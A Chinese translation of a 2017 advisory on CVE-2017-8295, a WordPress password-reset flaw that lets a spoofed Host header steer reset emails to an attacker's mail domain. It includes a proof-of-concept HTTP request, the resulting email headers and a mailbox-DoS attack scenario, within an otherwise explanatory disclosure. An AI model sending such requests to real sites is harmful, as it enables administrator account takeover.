首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WordPress曝未经授权的密码重置漏洞(CVE-2017-8295 )

WordPress曝未经授权的密码重置漏洞(CVE-2017-8295 )

作者头像
FB客服
发布2018-02-24 15:09:16
1.8K0
发布2018-02-24 15:09:16
举报
文章被收录于专栏:FreeBufFreeBufFreeBuf

漏洞提交者:Dawid Golunski 漏洞编号:CVE-2017-8295 发布日期:2017-05-03 修订版本:1.0 漏洞危害:中/高

I. 漏洞

WordPress内核<= 4.7.4存在未经授权的密码重置(0day)

II. 背景

WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。截止2017年2月,Alexa排名前1000万的站点中约有27.5%使用该管理系统。据报道有超过6000万站点使用WordPress进行站点管理或者作为博客系统。

III. 介绍

WordPress的重置密码功能存在漏洞,在某些情况下不需要使用之前的身份令牌验证获取密码重置链接。 该攻击可导致攻击者在未经授权的情况下获取用户Wordpress后台管理权限。

IV. 描述

该漏洞源于WordPress默认使用不可信的数据。当生成一个密码重置邮件时应当是仅发送给与帐户相关联的电子邮件。 从下面的代码片段可以看出,在调用PHP mail()函数前创建了一个From email头

------[ wp-includes/pluggable.php ]------ ...if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } ... -----------------------------------------

正如我们所看到的,Wordpress为了生成重置邮件创建的一个From/Return-Path(发件人/收件人)头,使用SERVER_NAME变量以获取服务器的主机名。

然而,诸如Apache的主流web服务器默认使用由客户端提供的主机名来设置SERVER_NAME变量(参考Apache文档)

由于SERVER_NAME可以进行修改,攻击者可以任意设置该值,例如attackers-mxserver.com

这将导致Wordpress的$from_email变为wordpress@attackers-mxserver.com,最终导致包含From/Return-Path(发件人/收件人)设置的密码重置邮件发送到了该恶意邮件地址。

至于攻击者可以修改哪那一封电子邮件的头信息,这取决于服务器环境(参考PHP文档)

基于邮件服务器的配置,可能导致被修改过邮件头的恶意收件人/发件人地址的电子邮件发送给WordPress用户。

这使得攻击者能够在不需要进行交互就可以截取本该是需要进行交互才能进行的操作的密码重置邮件。

攻击场景:

如果攻击者知道用户的电子邮件地址。为了让密码重置邮件被服务器拒收,或者无法到达目标地址。他们可以先对用户的电子邮件帐户进行DoS攻击(通过发送多个超过用户磁盘配额的大文件邮件或攻击该DNS服务器) 某些自动回复可能会附加有邮件发送副本 发送多封密码重置邮件给用户,迫使用户对这些没完没了的密码重置邮件进行回复,回复中就包含的密码链接会发送给攻击者。

V. POC

如果攻击者将类似下面的请求发送到默认可通过IP地址访问的Wordpress安装页面(IP-based vhost):

-----[ HTTP Request ]---- POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1Host: injected-attackers-mxserver.com Content-Type: application/x-www-form-urlencoded Content-Length: 56user_login=admin&redirect_to=&wp-submit=Get+New+Password ------------------------

WordPress将触发管理员账户的密码重置功能 由于修改了主机头,SERVER_NAME变量将被设置为攻击者所选择的主机名,因此Wordpress会将以下电子邮件头信息和正文传递给/usr/bin/sendmail

------[ resulting e-mail ]-----Subject: [CompanyX WP] Password ResetReturn-Path: <wordpress@attackers-mxserver.com>From: WordPress <wordpress@attackers-mxserver.com> Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com> X-Priority: 3MIME-Version: 1.0Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit

有人请求将以下账户的密码进行重置:

http://companyX-wp/wp/wordpress/Username: admin

如果是弄错了,直接忽略该邮件就好。重置密码请访问以下地址:

http://companyx-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin%3E

正如我们看到的,Return-Path, From, 以及Message-ID字段都是攻击者控制的域 通过bash脚本替换/usr/sbin/sendmail以执行头的验证:

#!/bin/bashcat > /tmp/outgoing-email

VI. 业务影响

在利用成功的基础上,攻击者可重置用户密码并且未经授权获取WordPress账户访问权限。

VII. 系统影响

WordPress至最新版本4.7.4全部受影响

VIII. 解决方案

目前没有官方解决方案可用。作为临时解决方案,用户可以启用UseCanonicalName执行SERVER_NAME静态值(参考Apache)

IX. 参考文献

https://legalhackers.com https://ExploitBox.io Vendor site: https://wordpress.org http://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname http://php.net/manual/en/function.mail.php https://tools.ietf.org/html/rfc5321

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-05-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • I. 漏洞
  • II. 背景
  • III. 介绍
  • IV. 描述
    • 攻击场景:
    • V. POC
    • VI. 业务影响
    • VII. 系统影响
    • VIII. 解决方案
    • IX. 参考文献
    相关产品与服务
    云数据库 SQL Server
    腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档